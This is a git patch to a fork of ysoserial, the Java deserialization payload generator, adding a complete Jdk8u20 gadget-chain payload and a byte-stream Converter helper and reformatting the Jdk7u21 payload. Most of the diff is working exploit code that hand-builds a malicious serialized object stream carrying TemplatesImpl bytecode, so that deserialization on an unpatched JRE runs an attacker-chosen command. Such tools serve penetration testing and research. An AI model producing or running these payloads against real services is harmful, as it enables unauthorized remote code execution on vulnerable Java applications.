From 83fb43fc4ed832ecafcd6e9dff46f55feae9db7d Mon Sep 17 00:00:00 2001 From: rootphantomer Date: Thu, 20 Oct 2022 17:16:43 +0800 Subject: [PATCH] add Jdk8u20 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 优化Jdk7u21的Call tree --- .../ysoserial/payloads/JavassistWeld1.java | 5 + src/main/java/ysoserial/payloads/Jdk7u21.java | 65 +++--- src/main/java/ysoserial/payloads/Jdk8u20.java | 193 ++++++++++++++++++ .../ysoserial/payloads/util/Converter.java | 43 ++++ 4 files changed, 277 insertions(+), 29 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/Jdk8u20.java create mode 100644 src/main/java/ysoserial/payloads/util/Converter.java diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index a36e69ee..d428b322 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -26,6 +26,11 @@ import java.util.*; /* + +InterceptorMethodHandler.redObject() +InterceptorMethodHandler.executeInterception() +.getInterceptors( + by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 35d25b61..1ba4bed5 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -23,13 +23,18 @@ See: https://gist.github.com/frohoff/24af7913611f8406eaf3 Call tree: - +LinkedHashSet.add() LinkedHashSet.readObject() - LinkedHashSet.add() +HashMap.read() +HashMap.put() +key.hashCode() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() - ... + LinkedHashSet.readObject() + HashMap.read() + HashMap.put() + key.hashCode() Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) @@ -53,43 +58,45 @@ Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked" }) -@PayloadTest ( precondition = "isApplicableJavaVersion") +@SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies() -@Authors({ Authors.FROHOFF }) +@Authors({Authors.FROHOFF}) public class Jdk7u21 implements ObjectPayload { - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); - String zeroHashCodeStr = "f5a5a608"; + String zeroHashCodeStr = "f5a5a608"; - HashMap map = new HashMap(); - map.put(zeroHashCodeStr, "foo"); + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); - InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - Reflections.setFieldValue(tempHandler, "type", Templates.class); - Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + InvocationHandler tempHandler = + (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, + map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); - LinkedHashSet set = new LinkedHashSet(); // maintain order - set.add(templates); - set.add(proxy); + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); - Reflections.setFieldValue(templates, "_auxClasses", null); - Reflections.setFieldValue(templates, "_class", null); + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); - map.put(zeroHashCodeStr, templates); // swap in real object + map.put(zeroHashCodeStr, templates); // swap in real object - return set; - } + return set; + } - public static boolean isApplicableJavaVersion() { - JavaVersion v = JavaVersion.getLocalVersion(); - return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); - } + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } - public static void main(final String[] args) throws Exception { - PayloadRunner.run(Jdk7u21.class, args); - } + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jdk7u21.class, args); + } } diff --git a/src/main/java/ysoserial/payloads/Jdk8u20.java b/src/main/java/ysoserial/payloads/Jdk8u20.java new file mode 100644 index 00000000..33aeeb45 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Jdk8u20.java @@ -0,0 +1,193 @@ +package ysoserial.payloads; + + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +import ysoserial.payloads.util.Converter; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextChildSupport; +import java.beans.beancontext.BeanContextSupport; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedHashSet; + +import static java.io.ObjectStreamConstants.*; + + +/* + +Gadget chain that works against JRE 1.8u20 and earlier. Payload generation has +the same JRE version requirements. + +See: https://gist.github.com/pwntester/ab70e88821b4a6633c06 + */ + +/** + * code from ysoserial + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class Jdk8u20 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command); + Reflections.setFieldValue(templates, "_auxClasses", null); + byte[] bytes = Converter.toBytes(getData(templates)); + patch(bytes); + return bytes; + } + + public static void patch(byte[] bytes) { + for (int i = 0; i < bytes.length; i++) { + if (bytes[i] == 0x71 && bytes[i + 1] == 0x00 && bytes[i + 2] == 0x7e && bytes[i + 3] == 0x00) { + i = i + 4; +// System.out.print("Adjusting reference from: " + bytes[i]); + if (bytes[i] == 1) bytes[i] = 5; // (String) + if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B + if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport) + if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl) + if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler) +// System.out.println(" to: " + bytes[i]); + } + } + } + + static Object[] getData(TemplatesImpl templates) { + + HashMap map = new HashMap(); + // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a + // reference for templates so that its exactly the same instance as the one added + // directly to the LinkedHashSet. So instead, we can add a string since OOS + // will create a reference to the existing string, and then I can manually + // replace the reference with one pointing to the templates instance in the LinkedHashSet + map.put("f5a5a608", "f5a5a608"); + + int offset = 0; + return new Object[]{ + STREAM_MAGIC, STREAM_VERSION, // stream headers + + // (1) LinkedHashSet + TC_OBJECT, + TC_CLASSDESC, + LinkedHashSet.class.getName(), + -2851667679971038690L, + (byte) 2, // flags + (short) 0, // field count + TC_ENDBLOCKDATA, + TC_CLASSDESC, // super class + HashSet.class.getName(), + -5024744406713321676L, + (byte) 3, // flags + (short) 0, // field count + TC_ENDBLOCKDATA, + TC_NULL, // no superclass + + // Block data that will be read by HashSet.readObject() + // Used to configure the HashSet (capacity, loadFactor, size and items) + TC_BLOCKDATA, + (byte) 12, + (short) 0, + (short) 16, // capacity + (short) 16192, (short) 0, (short) 0, // loadFactor + (short) 2, // size + + // (2) First item in LinkedHashSet + templates, // TemplatesImpl instance with malicious bytecode + + // (3) Second item in LinkedHashSet + // Templates Proxy with AIH handler + TC_OBJECT, + TC_PROXYCLASSDESC, // proxy declaration + 1, // one interface + Templates.class.getName(), // the interface implemented by the proxy + TC_ENDBLOCKDATA, + TC_CLASSDESC, + Proxy.class.getName(), // java.lang.Proxy class desc + -2222568056686623797L, // serialVersionUID + SC_SERIALIZABLE, // flags + (short) 2, // field count + (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field + (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field + TC_ENDBLOCKDATA, + TC_NULL, // no superclass + + // (3) Field values + // value for the dummy field <--- BeanContextSupport. + // this field does not actually exist in the Proxy class, so after deserialization this object is ignored. + // (4) BeanContextSupport + TC_OBJECT, + TC_CLASSDESC, + BeanContextSupport.class.getName(), + -4879613978649577204L, // serialVersionUID + (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), + (short) 1, // field count + (byte) 'I', "serializable", // serializable field, number of serializable children + TC_ENDBLOCKDATA, + TC_CLASSDESC, // super class + BeanContextChildSupport.class.getName(), + 6328947014421475877L, + SC_SERIALIZABLE, + (short) 1, // field count + (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;", + TC_ENDBLOCKDATA, + TC_NULL, // no superclass + + // (4) Field values + // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to + // go into BeanContextSupport.readChildren() + TC_REFERENCE, baseWireHandle + 12, + // serializable: one serializable child + 1, + + // now we add an extra object that is not declared, but that will be read/consumed by readObject + // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it + // is not in the byte array + // so the call to child = ois.readObject() will deserialize next object in the stream: the + // AnnotationInvocationHandler + // At this point we enter the readObject of the aih that will throw an exception after deserializing its + // default objects + + // (5) AIH that will be deserialized as part of the BeanContextSupport + TC_OBJECT, + TC_CLASSDESC, + "sun.reflect.annotation.AnnotationInvocationHandler", + 6182022883658399397L, // serialVersionUID + (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), + (short) 2, // field count + (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field + (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field + TC_ENDBLOCKDATA, + TC_NULL, // no superclass + + // (5) Field Values + Templates.class, // type field value + map, // memberValues field value + + // note: at this point normally the BeanContextSupport.readChildren would try to read the + // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws, + // we skip past that one into the catch block, and continue out of readChildren + + // the exception takes us out of readChildren and into BeanContextSupport.readObject + // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1)); + // Within deserialize() there is an int read (0) and then it will read as many obejcts (0) + + TC_BLOCKDATA, + (byte) 4, // block length + 0, // no BeanContextSupport.bcmListenes + TC_ENDBLOCKDATA, + + // (6) value for the Proxy.h field + TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler + + TC_ENDBLOCKDATA, + }; + } + + public static void main(String[] args) throws Exception { + PayloadRunner.run(Jdk8u20.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/util/Converter.java b/src/main/java/ysoserial/payloads/util/Converter.java new file mode 100644 index 00000000..1601eb31 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Converter.java @@ -0,0 +1,43 @@ +package ysoserial.payloads.util; + + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +/** + * code from ysoserial + */ +public class Converter { + public static byte[] toBytes(Object[] objs) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + + public static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +}